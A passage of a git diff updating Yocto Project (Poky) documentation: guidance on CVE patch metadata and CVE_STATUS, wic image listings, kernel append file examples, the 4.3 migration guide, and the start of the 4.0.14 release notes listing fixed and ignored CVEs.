+Modify the patch adding OE-related metadata. We will follow the example of the
+``CVE-2022-3341.patch``.
+
+The original `commit message <https://github.com/FFmpeg/FFmpeg/commit/9cf652cef49d74afe3d454f27d49eb1a1394951e.patch/>`__
+is::
+
+ From 9cf652cef49d74afe3d454f27d49eb1a1394951e Mon Sep 17 00:00:00 2001
+ From: Jiasheng Jiang <jiasheng@iscas.ac.cn>
+ Date: Wed, 23 Feb 2022 10:31:59 +0800
+ Subject: [PATCH] avformat/nutdec: Add check for avformat_new_stream
+
+ Check for failure of avformat_new_stream() and propagate
+ the error code.
+
+ Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
+ ---
+ libavformat/nutdec.c | 16 ++++++++++++----
+ 1 file changed, 12 insertions(+), 4 deletions(-)
+
+
+For the correct operations of the ``cve-check``, it requires the CVE
+identification in a ``CVE:`` tag of the patch file commit message using
+the format::
+
+ CVE: CVE-2022-3341
-A good practice is to include the CVE identifier in both the patch file name
-and inside the patch file commit message using the format::
+It is also recommended to add the ``Upstream-Status:`` tag with a link
+to the original patch and sign-off by people working on the backport.
+If there are any modifications to the original patch, note them in
+the ``Comments:`` tag.
- CVE: CVE-2020-22033
+With the additional information, the header of the patch file in OE-core becomes::
+
+ From 9cf652cef49d74afe3d454f27d49eb1a1394951e Mon Sep 17 00:00:00 2001
+ From: Jiasheng Jiang <jiasheng@iscas.ac.cn>
+ Date: Wed, 23 Feb 2022 10:31:59 +0800
+ Subject: [PATCH] avformat/nutdec: Add check for avformat_new_stream
+
+ Check for failure of avformat_new_stream() and propagate
+ the error code.
+
+ Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
+
+ CVE: CVE-2022-3341
+
+ Upstream-Status: Backport [https://github.com/FFmpeg/FFmpeg/commit/9cf652cef49d74afe3d454f27d49eb1a1394951e]
+
+ Comments: Refreshed Hunk
+ Signed-off-by: Narpat Mali <narpat.mali@windriver.com>
+ Signed-off-by: Bhabu Bindu <bhabu.bindu@kpit.com>
+ ---
+ libavformat/nutdec.c | 16 ++++++++++++----
+ 1 file changed, 12 insertions(+), 4 deletions(-)
+
+A good practice is to include the CVE identifier in the patch file name, the patch file
+commit message and optionally in the recipe commit message.
CVE checker will then capture this information and change the CVE status to ``Patched``
in the generated reports.
@@ -161,8 +227,16 @@ in the generated reports.
If analysis shows that the CVE issue does not impact the recipe due to configuration, platform,
version or other reasons, the CVE can be marked as ``Ignored`` by using
the :term:`CVE_STATUS` variable flag with appropriate reason which is mapped to ``Ignored``.
-As mentioned previously, if data in the CVE database is wrong, it is recommend to fix those
-issues in the CVE database directly.
+The entry should have the format like::
+
+ CVE_STATUS[CVE-2016-10642] = "cpe-incorrect: This is specific to the npm package that installs cmake, so isn't relevant to OpenEmbedded"
+
+As mentioned previously, if data in the CVE database is wrong, it is recommended
+to fix those issues in the CVE database (NVD in the case of OE-core and Poky)
+directly.
+
+Note that if there are many CVEs with the same status and reason, those can be
+shared by using the :term:`CVE_STATUS_GROUPS` variable.
Recipes can be completely skipped by CVE check by including the recipe name in
the :term:`CVE_CHECK_SKIP_RECIPE` variable.
diff --git a/poky/documentation/dev-manual/wic.rst b/poky/documentation/dev-manual/wic.rst
index 664f07a212..312f78c403 100644
--- a/poky/documentation/dev-manual/wic.rst
+++ b/poky/documentation/dev-manual/wic.rst
@@ -140,19 +140,19 @@ command to return the available Wic images as follows::
$ wic list images
genericx86 Create an EFI disk image for genericx86*
- edgerouter Create SD card image for Edgerouter
beaglebone-yocto Create SD card image for Beaglebone
- qemux86-directdisk Create a qemu machine 'pcbios' direct disk image
- systemd-bootdisk Create an EFI disk image with systemd-boot
- mkhybridiso Create a hybrid ISO image
+ qemuriscv Create qcow2 image for RISC-V QEMU machines
mkefidisk Create an EFI disk image
- sdimage-bootpart Create SD card image with a boot partition
+ qemuloongarch Create qcow2 image for LoongArch QEMU machines
directdisk-multi-rootfs Create multi rootfs image using rootfs plugin
directdisk Create a 'pcbios' direct disk image
- directdisk-bootloader-config Create a 'pcbios' direct disk image with custom bootloader config
- qemuriscv Create qcow2 image for RISC-V QEMU machines
+ efi-bootdisk
+ mkhybridiso Create a hybrid ISO image
directdisk-gpt Create a 'pcbios' direct disk image
- efi-bootdisk
+ systemd-bootdisk Create an EFI disk image with systemd-boot
+ sdimage-bootpart Create SD card image with a boot partition
+ qemux86-directdisk Create a qemu machine 'pcbios' direct disk image
+ directdisk-bootloader-config Create a 'pcbios' direct disk image with custom bootloader config
Once you know the list of available
Wic images, you can use ``help`` with the command to get help on a
@@ -284,15 +284,17 @@ Use the following command to list the available kickstart files::
$ wic list images
genericx86 Create an EFI disk image for genericx86*
beaglebone-yocto Create SD card image for Beaglebone
- edgerouter Create SD card image for Edgerouter
- qemux86-directdisk Create a QEMU machine 'pcbios' direct disk image
- directdisk-gpt Create a 'pcbios' direct disk image
+ qemuriscv Create qcow2 image for RISC-V QEMU machines
mkefidisk Create an EFI disk image
+ qemuloongarch Create qcow2 image for LoongArch QEMU machines
+ directdisk-multi-rootfs Create multi rootfs image using rootfs plugin
directdisk Create a 'pcbios' direct disk image
- systemd-bootdisk Create an EFI disk image with systemd-boot
+ efi-bootdisk
mkhybridiso Create a hybrid ISO image
+ directdisk-gpt Create a 'pcbios' direct disk image
+ systemd-bootdisk Create an EFI disk image with systemd-boot
sdimage-bootpart Create SD card image with a boot partition
- directdisk-multi-rootfs Create multi rootfs image using rootfs plugin
+ qemux86-directdisk Create a qemu machine 'pcbios' direct disk image
directdisk-bootloader-config Create a 'pcbios' direct disk image with custom bootloader config
When you use an existing file, you
diff --git a/poky/documentation/kernel-dev/advanced.rst b/poky/documentation/kernel-dev/advanced.rst
index 355326de6e..bcaaaeed14 100644
--- a/poky/documentation/kernel-dev/advanced.rst
+++ b/poky/documentation/kernel-dev/advanced.rst
@@ -69,8 +69,7 @@ to indicate the branch.
You can use the :term:`KBRANCH` value to define an alternate branch typically
with a machine override as shown here from the ``meta-yocto-bsp`` layer::
- KBRANCH:edgerouter = "standard/edgerouter"
-
+ KBRANCH:beaglebone-yocto = "standard/beaglebone"
The linux-yocto style recipes can optionally define the following
variables:
diff --git a/poky/documentation/kernel-dev/common.rst b/poky/documentation/kernel-dev/common.rst
index 1d85202df4..9b197bfccb 100644
--- a/poky/documentation/kernel-dev/common.rst
+++ b/poky/documentation/kernel-dev/common.rst
@@ -387,13 +387,13 @@ Creating the Append File
You create this file in your custom layer. You also name it accordingly
based on the linux-yocto recipe you are using. For example, if you are
-modifying the ``meta/recipes-kernel/linux/linux-yocto_4.12.bb`` recipe,
+modifying the ``meta/recipes-kernel/linux/linux-yocto_6.1.bb`` recipe,
the append file will typically be located as follows within your custom
layer:
.. code-block:: none
- your-layer/recipes-kernel/linux/linux-yocto_4.12.bbappend
+ your-layer/recipes-kernel/linux/linux-yocto_6.1.bbappend
The append file should initially extend the
:term:`FILESPATH` search path by
@@ -421,35 +421,31 @@ As an example, consider the following append file used by the BSPs in
.. code-block:: none
- meta-yocto-bsp/recipes-kernel/linux/linux-yocto_4.12.bbappend
+ meta-yocto-bsp/recipes-kernel/linux/linux-yocto_6.1.bbappend
Here are the contents of this file. Be aware that the actual commit ID
strings in this example listing might be different than the actual
strings in the file from the ``meta-yocto-bsp`` layer upstream::
- KBRANCH:genericx86 = "standard/base"
- KBRANCH:genericx86-64 = "standard/base"
+ KBRANCH:genericx86 = "v6.1/standard/base"
+ KBRANCH:genericx86-64 = "v6.1/standard/base"
+ KBRANCH:beaglebone-yocto = "v6.1/standard/beaglebone"
- KMACHINE:genericx86 ?= "common-pc"
- KMACHINE:genericx86-64 ?= "common-pc-64"
- KBRANCH:edgerouter = "standard/edgerouter"
- KBRANCH:beaglebone = "standard/beaglebone"
+ KMACHINE:genericx86 ?= "common-pc"
+ KMACHINE:genericx86-64 ?= "common-pc-64"
+ KMACHINE:beaglebone-yocto ?= "beaglebone"
- SRCREV_machine:genericx86 ?= "d09f2ce584d60ecb7890550c22a80c48b83c2e19"
- SRCREV_machine:genericx86-64 ?= "d09f2ce584d60ecb7890550c22a80c48b83c2e19"
- SRCREV_machine:edgerouter ?= "b5c8cfda2dfe296410d51e131289fb09c69e1e7d"
- SRCREV_machine:beaglebone ?= "b5c8cfda2dfe296410d51e131289fb09c69e1e7d"
+ SRCREV_machine:genericx86 ?= "6ec439b4b456ce929c4c07fe457b5d6a4b468e86"
+ SRCREV_machine:genericx86-64 ?= "6ec439b4b456ce929c4c07fe457b5d6a4b468e86"
+ SRCREV_machine:beaglebone-yocto ?= "423e1996694b61fbfc8ec3bf062fc6461d64fde1"
+ COMPATIBLE_MACHINE:genericx86 = "genericx86"
+ COMPATIBLE_MACHINE:genericx86-64 = "genericx86-64"
+ COMPATIBLE_MACHINE:beaglebone-yocto = "beaglebone-yocto"
- COMPATIBLE_MACHINE:genericx86 = "genericx86"
- COMPATIBLE_MACHINE:genericx86-64 = "genericx86-64"
- COMPATIBLE_MACHINE:edgerouter = "edgerouter"
- COMPATIBLE_MACHINE:beaglebone = "beaglebone"
-
- LINUX_VERSION:genericx86 = "4.12.7"
- LINUX_VERSION:genericx86-64 = "4.12.7"
- LINUX_VERSION:edgerouter = "4.12.10"
- LINUX_VERSION:beaglebone = "4.12.10"
+ LINUX_VERSION:genericx86 = "6.1.30"
+ LINUX_VERSION:genericx86-64 = "6.1.30"
+ LINUX_VERSION:beaglebone-yocto = "6.1.20"
This append file
contains statements used to support several BSPs that ship with the
@@ -1005,7 +1001,7 @@ Section.
the following sequence of commands::
$ cd poky/build
- $ bitbake -c cleanall yocto-linux
+ $ bitbake -c cleanall linux-yocto
$ bitbake core-image-minimal -c cleanall
$ bitbake core-image-minimal
$ runqemu qemux86
diff --git a/poky/documentation/migration-guides/migration-4.3.rst b/poky/documentation/migration-guides/migration-4.3.rst
index 79cf907708..fc25397d70 100644
--- a/poky/documentation/migration-guides/migration-4.3.rst
+++ b/poky/documentation/migration-guides/migration-4.3.rst
@@ -26,15 +26,26 @@ no longer the default supported configuration. This setting does not affect whic
kernel versions SDKs will run against and does not affect which versions of the kernel
can be used to run builds.
+.. _migration-4.3-layername-override:
+
Layername override implications
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Code can now know which layer a recipe is coming from through the newly added
:term:`FILE_LAYERNAME` variable and the ``layer-<layername> override``. This is being used
for enabling QA checks on a per layer basis. For existing code this has the
-side effect that the QA checks will apply to things being bbappended to recipes
-from other layers. Those other layers would need to have patch upstream status
-entries for patches being bbappended for example.
+side effect that the QA checks will apply to recipes being bbappended
+from other layers - for example, patches added through such bbappends will now
+need to have the "Upstream-Status" specified in the patch header.
+
+.. _migration-4.3-compiling-changes:
+
+Compiling changes
+~~~~~~~~~~~~~~~~~
+
+- Code on 32 bit platforms is now compiled with largefile support and 64
+ bit ``time_t``, to avoid the Y2038 time overflow issue. This breaks the ABI
+ and could break existing programs in untested layers.
.. _migration-4.3-supported-distributions:
@@ -43,10 +54,31 @@ Supported distributions
This release supports running BitBake on new GNU/Linux distributions:
+- Ubuntu 22.10
+- Fedora 38
+- Debian 12
+- CentOS Stream 8
+- AlmaLinux 8.8
+- AlmaLinux 9.2
+
On the other hand, some earlier distributions are no longer supported:
+- Fedora 36
+- AlmaLinux 8.7
+- AlmaLinux 9.1
+
See :ref:`all supported distributions <system-requirements-supported-distros>`.
+.. _migration-4.3-removed-machines:
+
+edgerouter machine removed
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The ``edgerouter`` reference BSP for the MIPS architecture in ``meta-yocto-bsp``
+has been removed as the hardware has been unavailable for some time. There is no
+suitable reference MIPS hardware to replace it with, but the MIPS architecture
+will continue to get coverage via QEMU build/boot testing.
+
.. _migration-4.3-go-changes:
Go language changes
@@ -55,7 +87,9 @@ Go language changes
- Support for the Glide package manager has been removed, as ``go mod``
has become the standard.
-Systemd changes
+.. _migration-4.3-systemd-changes:
+
+systemd changes
~~~~~~~~~~~~~~~
Upstream systemd is now more strict on filesystem layout and the ``usrmerge``
@@ -70,14 +104,14 @@ Recipe changes
- Runtime testing of ptest now fails if no test results are returned by
any given ptest.
-.. _migration-4.3-class-changes:
+.. _migration-4.3-deprecated-variables:
-Class changes
-~~~~~~~~~~~~~
+Deprecated variables
+~~~~~~~~~~~~~~~~~~~~
-- The ``perl-version`` class no longer provides the ``PERLVERSION`` and ``PERLARCH`` variables
- as there were no users in any core layer. The functions for this functionality
- are still available.
+The following variables have been deprecated:
+
+- :term:`CVE_CHECK_IGNORE`: use :term:`CVE_STATUS` instead.
.. _migration-4.3-removed-variables:
@@ -86,8 +120,13 @@ Removed variables
The following variables have been removed:
+- ``AUTHOR``
- ``PERLARCH``
- ``PERLVERSION``
+- ``QEMU_USE_SLIRP`` - add ``slirp`` to ``TEST_RUNQEMUPARAMS`` instead.
+- ``SERIAL_CONSOLES_CHECK`` - no longer necessary because all
+ consoles listed in :term:`SERIAL_CONSOLES` are checked for their existence
+ before a ``getty`` is started.
.. _migration-4.3-removed-recipes:
@@ -96,7 +135,15 @@ Removed recipes
The following recipes have been removed in this release:
-- ``glide``, as explained in :ref:`migration-4.3-go-changes`.
+- ``apmd``: obsolete (``apm`` in :term:`MACHINE_FEATURES` also removed).
+- ``cve-update-db-native``: functionally replaced by ``cve-update-nvd2-native``
+- ``gcr3``: no longer needed by core recipes, moved to meta-gnome (gcr, i.e. version 4.x, is still provided).
+- ``glide``: as explained in :ref:`migration-4.3-go-changes`.
+- ``libdmx``: obsolete
+- ``linux-yocto`` version 5.15 (versions 6.1 and 6.5 provided instead).
+- ``python3-async``: obsolete - no longer needed by ``python3-gitdb`` or any other core recipe
+- ``rust-hello-world``: there are sufficient other Rust recipes and test cases such that this is no longer needed.
+
.. _migration-4.3-removed-classes:
@@ -105,6 +152,90 @@ Removed classes
The following classes have been removed in this release:
+- ``glide``: as explained in :ref:`migration-4.3-go-changes`.
+
+
+Output file naming changes
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In 4.3 there are some minor differences in image and SDK output file names.
+If you rely on the existing naming (e.g. in external scripts) you may need to
+either modify configuration or adapt to the new naming. Further details:
+
+- :term:`IMAGE_NAME` and :term:`IMAGE_LINK_NAME` now include the
+ :term:`IMAGE_NAME_SUFFIX` value directly. In practical terms, this means
+ that ``.rootfs`` will now appear in image output file names. If you do not
+ wish to have the ``.rootfs`` suffix used, you can just set
+ :term:`IMAGE_NAME_SUFFIX` to "" and this will now be consistently respected
+ in both the image file and image file symlink names. As part of this change,
+ support for the ``imgsuffix`` task varflag has been dropped (mostly
+ an internal implementation detail, but if you were implementing a custom
+ image construction with a task in a similar manner to ``do_bootimg``
+ you may have been using this).
+
+- :term:`SDK_NAME` now includes the values of :term:`IMAGE_BASENAME` and
+ :term:`MACHINE` so that they are unique when building SDKs for different
+ images and machines.
+
+
+
+.. _migration-4.3-pr-pe:
+
+Versioning changes
+~~~~~~~~~~~~~~~~~~
+
+- :term:`PR` values have been removed from all core recipes - distro maintainers
+ who make use of :term:`PR` values would need to curate these already so the
+ sparsely set base values would not be that useful anymore. If you have been
+ relying on these (i.e. you are maintaining a binary package feed where package
+ versions should only ever increase), double-check the output (perhaps with the
+ help of the :ref:`ref-classes-buildhistory` class) to ensure that package
+ versions are consistent.
+
+- The :term:`PR` value can no longer be set from the recipe file name - this
+ was rarely used, but in any case is no longer supported.
+
+- :term:`PE` and :term:`PR` are no longer included in the work directory path
+ (:term:`WORKDIR`). This may break some tool assumptions about directory paths,
+ but those should really be querying paths from the build system (or not poking
+ into :term:`WORKDIR` externally).
+
+- Source revision information has been moved from :term:`PV` to :term:`PKGV`.
+ The user visible effect of this change is that :term:`PV` will no longer have
+ revision information in it and this will now be appended to the :term:`PV`
+ value through :term:`PKGV` when the packages are written out (as long as "+"
+ is present in the :term:`PKGV` value). Since :term:`PV` is used in
+ :term:`STAMP` and :term:`WORKDIR`, you may notice small directory naming and
+ stamp naming changes.
+
+- The :term:`SRCPV` variable is no longer needed in :term:`PV`, but since
+ the default :term:`SRCPV` value is now "", using it is effectively now just a
+ null operation - you can remove it (leaving behind the "+") , but it is not
+ yet required to do so.
+
+
+.. _migration-4.3-qemu-changes:
+
+QEMU changes
+~~~~~~~~~~~~
+
+- The ``runqemu`` script no longer systematically adds two serial ports
+ (``--serial null`` and ``-serial mon:stdio``) to the QEMU emulated machine
+ if the user already adds such ports through the ``QB_OPT_APPEND`` setting.
+
+ If the user adds one port, only ``--serial null`` is added, and
+ ``-serial mon:stdio`` is no longer passed. If the user adds more than one
+ port, ``--serial null`` is no longer added either. This can break some
+ existing QEMU based configurations expecting such serial ports to be added
+ when ``runqemu`` is executed.
+
+ This change was made to avoid exceeding two serial ports, which interferes
+ with automated testing.
+
+- ``runqemu`` now uses the ``ip tuntap`` command instead of ``tunctl``, and
+ thus ``tunctl`` is no longer built by the ``qemu-helper-native`` recipe; if
+ for some reason you were calling ``tunctl`` directly from your own scripts
+ you should switch to calling ``ip tuntap`` instead.
.. _migration-4.3-misc-changes:
@@ -115,5 +246,7 @@ Miscellaneous changes
``virtual/XXX`` provider/dependencies where a ``PREFIX`` was used as well,
as we don't need both and it made automated dependency rewriting
unnecessarily complex. In general this only affects internal toolchain
- dependencies so isn't end user visible.
+ dependencies so isn't end user visible, but if for some reason you have
+ custom classes or recipes that rely upon the old providers then you will
+ need to update those.
diff --git a/poky/documentation/migration-guides/release-4.0.rst b/poky/documentation/migration-guides/release-4.0.rst
index adff55df10..748eab3bd0 100644
--- a/poky/documentation/migration-guides/release-4.0.rst
+++ b/poky/documentation/migration-guides/release-4.0.rst
@@ -20,3 +20,4 @@ Release 4.0 (kirkstone)
release-notes-4.0.11
release-notes-4.0.12
release-notes-4.0.13
+ release-notes-4.0.14
diff --git a/poky/documentation/migration-guides/release-4.2.rst b/poky/documentation/migration-guides/release-4.2.rst
index abeebcb1c8..5ef2cc6657 100644
--- a/poky/documentation/migration-guides/release-4.2.rst
+++ b/poky/documentation/migration-guides/release-4.2.rst
@@ -10,3 +10,4 @@ Release 4.2 (mickledore)
release-notes-4.2.1
release-notes-4.2.2
release-notes-4.2.3
+ release-notes-4.2.4
diff --git a/poky/documentation/migration-guides/release-notes-4.0.14.rst b/poky/documentation/migration-guides/release-notes-4.0.14.rst
new file mode 100644
index 0000000000..02253f33f7
--- /dev/null
+++ b/poky/documentation/migration-guides/release-notes-4.0.14.rst
@@ -0,0 +1,227 @@
+.. SPDX-License-Identifier: CC-BY-SA-2.0-UK
+
+Release notes for Yocto-4.0.14 (Kirkstone)
+------------------------------------------
+
+Security Fixes in Yocto-4.0.14
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+- bind: Fix :cve:`2023-3341` and :cve:`2023-4236`
+- binutils: Fix :cve:`2022-44840`, :cve:`2022-45703`, :cve:`2022-47008`, :cve:`2022-47011`, :cve:`2022-47673`, :cve:`2022-47695`, :cve:`2022-47696` and :cve:`2022-48063`
+- cups: Fix :cve:`2023-4504`
+- curl: Fix :cve:`2023-38545` and :cve:`2023-38546`
+- gawk: Fix :cve:`2023-4156`
+- ghostscript: Fix :cve:`2023-43115`
+- glibc: Fix :cve:`2023-4806`, :cve:`2023-4813`, :cve:`2023-4911` and :cve:`2023-5156`
+- glibc: Ignore :cve:`2023-4527`
+- go: Fix :cve:`2023-24538` and :cve:`2023-39318`
+- gstreamer1.0-plugins-bad: fix :cve_mitre:`2023-40474`, :cve_mitre:`2023-40475` and :cve_mitre:`2023-40476`
+- libtiff: Fix :cve:`2022-40090` and :cve:`2023-1916`
+- libwebp: Fix :cve:`2023-5129`
+- libx11: Fix :cve:`2023-43785`, :cve:`2023-43786` and :cve:`2023-43787`
+- libxml2: Fix :cve:`2023-45322`
+- libxpm: Fix :cve:`2023-43788` and :cve:`2023-43789`
+- linux-firmware: Fix :cve:`2022-40982`, :cve:`2023-20569` and :cve:`2023-20593`
+- linux-yocto: update CVE exclusions
+- linux-yocto/5.10: Ignore :cve:`2003-1604`, :cve:`2004-0230`, :cve:`2006-3635`, :cve:`2006-5331`, :cve:`2006-6128`, :cve:`2007-4774`, :cve:`2007-6761`, :cve:`2007-6762`, :cve:`2008-7316`, :cve:`2009-2692`, :cve:`2010-0008`, :cve:`2010-3432`, :cve:`2010-4648`, :cve:`2010-5313`, :cve:`2010-5328`, :cve:`2010-5329`, :cve:`2010-5331`, :cve:`2010-5332`, :cve:`2011-4098`, :cve:`2011-4131`, :cve:`2011-4915`, :cve:`2011-5321`, :cve:`2011-5327`, :cve:`2012-0957`, :cve:`2012-2119`, :cve:`2012-2136`, :cve:`2012-2137`, :cve:`2012-2313`, :cve:`2012-2319`, :cve:`2012-2372`, :cve:`2012-2375`, :cve:`2012-2390`, :cve:`2012-2669`, :cve:`2012-2744`, :cve:`2012-2745`, :cve:`2012-3364`, :cve:`2012-3375`, :cve:`2012-3400`, :cve:`2012-3412`, :cve:`2012-3430`, :cve:`2012-3510`, :cve:`2012-3511`, :cve:`2012-3520`, :cve:`2012-3552`, :cve:`2012-4398`, :cve:`2012-4444`, :cve:`2012-4461`, :cve:`2012-4467`, :cve:`2012-4508`, :cve:`2012-4530`, :cve:`2012-4565`, :cve:`2012-5374`, :cve:`2012-5375`, :cve:`2012-5517`, :cve:`2012-6536`, :cve:`2012-6537`, :cve:`2012-6538`, :cve:`2012-6539`, :cve:`2012-6540`, :cve:`2012-6541`, :cve:`2012-6542`, :cve:`2012-6543`, :cve:`2012-6544`, :cve:`2012-6545`, :cve:`2012-6546`, :cve:`2012-6547`, :cve:`2012-6548`, :cve:`2012-6549`, :cve:`2012-6638`, :cve:`2012-6647`, :cve:`2012-6657`, :cve:`2012-6689`, :cve:`2012-6701`, :cve:`2012-6703`, :cve:`2012-6704`, :cve:`2012-6712`, :cve:`2013-0160`, :cve:`2013-0190`, :cve:`2013-0216`, :cve:`2013-0217`, :cve:`2013-0228`, :cve:`2013-0231`, :cve:`2013-0268`, :cve:`2013-0290`, :cve:`2013-0309`, :cve:`2013-0310`, :cve:`2013-0311`, :cve:`2013-0313`, :cve:`2013-0343`, :cve:`2013-0349`, :cve:`2013-0871`, :cve:`2013-0913`, :cve:`2013-0914`, :cve:`2013-1059`, :cve:`2013-1763`, :cve:`2013-1767`, :cve:`2013-1772`, :cve:`2013-1773`, :cve:`2013-1774`, :cve:`2013-1792`, :cve:`2013-1796`, :cve:`2013-1797`, :cve:`2013-1798`, :cve:`2013-1819`, :cve:`2013-1826`, :cve:`2013-1827`, :cve:`2013-1828`, :cve:`2013-1848`, :cve:`2013-1858`, :cve:`2013-1860`, :cve:`2013-1928`, :cve:`2013-1929`, :cve:`2013-1943`, :cve:`2013-1956`, :cve:`2013-1957`, :cve:`2013-1958`, :cve:`2013-1959`, :cve:`2013-1979`, :cve:`2013-2015`, :cve:`2013-2017`, :cve:`2013-2058`, :cve:`2013-2094`, :cve:`2013-2128`, :cve:`2013-2140`, :cve:`2013-2141`, :cve:`2013-2146`, :cve:`2013-2147`, :cve:`2013-2148`, :cve:`2013-2164`, :cve:`2013-2206`, :cve:`2013-2232`, :cve:`2013-2234`, :cve:`2013-2237`, :cve:`2013-2546`, :cve:`2013-2547`, :cve:`2013-2548`, :cve:`2013-2596`, :cve:`2013-2634`, :cve:`2013-2635`, :cve:`2013-2636`, :cve:`2013-2850`, :cve:`2013-2851`, :cve:`2013-2852`, :cve:`2013-2888`, :cve:`2013-2889`, :cve:`2013-2890`, :cve:`2013-2891`, :cve:`2013-2892`, :cve:`2013-2893`, :cve:`2013-2894`, :cve:`2013-2895`, :cve:`2013-2896`, :cve:`2013-2897`, :cve:`2013-2898`, :cve:`2013-2899`, :cve:`2013-2929`, :cve:`2013-2930`, :cve:`2013-3076`, :cve:`2013-3222`, :cve:`2013-3223`, :cve:`2013-3224`, :cve:`2013-3225`, :cve:`2013-3226`, :cve:`2013-3227`, :cve:`2013-3228`, :cve:`2013-3229`, :cve:`2013-3230`, :cve:`2013-3231`, :cve:`2013-3232`, :cve:`2013-3233`, :cve:`2013-3234`, :cve:`2013-3235`, :cve:`2013-3236`, :cve:`2013-3237`, :cve:`2013-3301`, :cve:`2013-3302`, :cve:`2013-4125`, :cve:`2013-4127`, :cve:`2013-4129`, :cve:`2013-4162`, :cve:`2013-4163`, :cve:`2013-4205`, :cve:`2013-4220`, :cve:`2013-4247`, :cve:`2013-4254`, :cve:`2013-4270`, :cve:`2013-4299`, :cve:`2013-4300`, :cve:`2013-4312`, :cve:`2013-4343`, :cve:`2013-4345`, :cve:`2013-4348`, :cve:`2013-4350`, :cve:`2013-4387`, :cve:`2013-4470`, :cve:`2013-4483`, :cve:`2013-4511`, :cve:`2013-4512`, :cve:`2013-4513`, :cve:`2013-4514`, :cve:`2013-4515`, :cve:`2013-4516`, :cve:`2013-4563`, :cve:`2013-4579`, :cve:`2013-4587`, :cve:`2013-4588`, :cve:`2013-4591`, :cve:`2013-4592`, :cve:`2013-5634`, :cve:`2013-6282`, :cve:`2013-6367`, :cve:`2013-6368`, :cve:`2013-6376`, :cve:`2013-6378`, :cve:`2013-6380`, :cve:`2013-6381`, :cve:`2013-6382`, :cve:`2013-6383`, :cve:`2013-6431`, :cve:`2013-6432`, :cve:`2013-6885`, :cve:`2013-7026`, :cve:`2013-7027`, :cve:`2013-7263`, :cve:`2013-7264`, :cve:`2013-7265`, :cve:`2013-7266`, :cve:`2013-7267`, :cve:`2013-7268`, :cve:`2013-7269`, :cve:`2013-7270`, :cve:`2013-7271`, :cve:`2013-7281`, :cve:`2013-7339`, :cve:`2013-7348`, :cve:`2013-7421`, :cve:`2013-7446`, :cve:`2013-7470`, :cve:`2014-0038`, :cve:`2014-0049`, :cve:`2014-0055`, :cve:`2014-0069`, :cve:`2014-0077`, :cve:`2014-0100`, :cve:`2014-0101`, :cve:`2014-0102`, :cve:`2014-0131`, :cve:`2014-0155`, :cve:`2014-0181`, :cve:`2014-0196`, :cve:`2014-0203`, :cve:`2014-0205`, :cve:`2014-0206`, :cve:`2014-1438`, :cve:`2014-1444`, :cve:`2014-1445`, :cve:`2014-1446`, :cve:`2014-1690`, :cve:`2014-1737`, :cve:`2014-1738`, :cve:`2014-1739`, :cve:`2014-1874`, :cve:`2014-2038`, :cve:`2014-2039`, :cve:`2014-2309`, :cve:`2014-2523`, :cve:`2014-2568`, :cve:`2014-2580`, :cve:`2014-2672`, :cve:`2014-2673`, :cve:`2014-2678`, :cve:`2014-2706`, :cve:`2014-2739`, :cve:`2014-2851`, :cve:`2014-2889`, :cve:`2014-3122`, :cve:`2014-3144`, :cve:`2014-3145`, :cve:`2014-3153`, :cve:`2014-3180`, :cve:`2014-3181`, :cve:`2014-3182`, :cve:`2014-3183`, :cve:`2014-3184`, :cve:`2014-3185`, :cve:`2014-3186`, :cve:`2014-3534`, :cve:`2014-3535`, :cve:`2014-3601`, :cve:`2014-3610`, :cve:`2014-3611`, :cve:`2014-3631`, :cve:`2014-3645`, :cve:`2014-3646`, :cve:`2014-3647`, :cve:`2014-3673`, :cve:`2014-3687`, :cve:`2014-3688`, :cve:`2014-3690`, :cve:`2014-3917`, :cve:`2014-3940`, :cve:`2014-4014`, :cve:`2014-4027`, :cve:`2014-4157`, :cve:`2014-4171`, :cve:`2014-4508`, :cve:`2014-4608`, :cve:`2014-4611`, :cve:`2014-4652`, :cve:`2014-4653`, :cve:`2014-4654`, :cve:`2014-4655`, :cve:`2014-4656`, :cve:`2014-4667`, :cve:`2014-4699`, :cve:`2014-4943`, :cve:`2014-5045`, :cve:`2014-5077`, :cve:`2014-5206`, :cve:`2014-5207`, :cve:`2014-5471`, :cve:`2014-5472`, :cve:`2014-6410`, :cve:`2014-6416`, :cve:`2014-6417`, :cve:`2014-6418`, :cve:`2014-7145`, :cve:`2014-7283`, :cve:`2014-7284`, :cve:`2014-7822`, :cve:`2014-7825`, :cve:`2014-7826`, :cve:`2014-7841`, :cve:`2014-7842`, :cve:`2014-7843`, :cve:`2014-7970`, :cve:`2014-7975`, :cve:`2014-8086`, :cve:`2014-8133`, :cve:`2014-8134`, :cve:`2014-8159`, :cve:`2014-8160`, :cve:`2014-8171`, :cve:`2014-8172`, :cve:`2014-8173`, :cve:`2014-8369`, :cve:`2014-8480`, :cve:`2014-8481`, :cve:`2014-8559`, :cve:`2014-8709`, :cve:`2014-8884`, :cve:`2014-8989`, :cve:`2014-9090`, :cve:`2014-9322`, :cve:`2014-9419`, :cve:`2014-9420`, :cve:`2014-9428`, :cve:`2014-9529`, :cve:`2014-9584`, :cve:`2014-9585`, :cve:`2014-9644`, :cve:`2014-9683`, :cve:`2014-9710`, :cve:`2014-9715`, :cve:`2014-9717`, :cve:`2014-9728`, :cve:`2014-9729`, :cve:`2014-9730`, :cve:`2014-9731`, :cve:`2014-9803`, :cve:`2014-9870`, :cve:`2014-9888`, :cve:`2014-9895`, :cve:`2014-9903`, :cve:`2014-9904`, :cve:`2014-9914`, :cve:`2014-9922`, :cve:`2014-9940`, :cve:`2015-0239`, :cve:`2015-0274`, :cve:`2015-0275`, :cve:`2015-1333`, :cve:`2015-1339`, :cve:`2015-1350`, :cve:`2015-1420`, :cve:`2015-1421`, :cve:`2015-1465`, :cve:`2015-1573`, :cve:`2015-1593`, :cve:`2015-1805`, :cve:`2015-2041`, :cve:`2015-2042`, :cve:`2015-2150`, :cve:`2015-2666`, :cve:`2015-2672`, :cve:`2015-2686`, :cve:`2015-2830`, :cve:`2015-2922`, :cve:`2015-2925`, :cve:`2015-3212`, :cve:`2015-3214`, :cve:`2015-3288`, :cve:`2015-3290`, :cve:`2015-3291`, :cve:`2015-3331`, :cve:`2015-3339`, :cve:`2015-3636`, :cve:`2015-4001`, :cve:`2015-4002`, :cve:`2015-4003`, :cve:`2015-4004`, :cve:`2015-4036`, 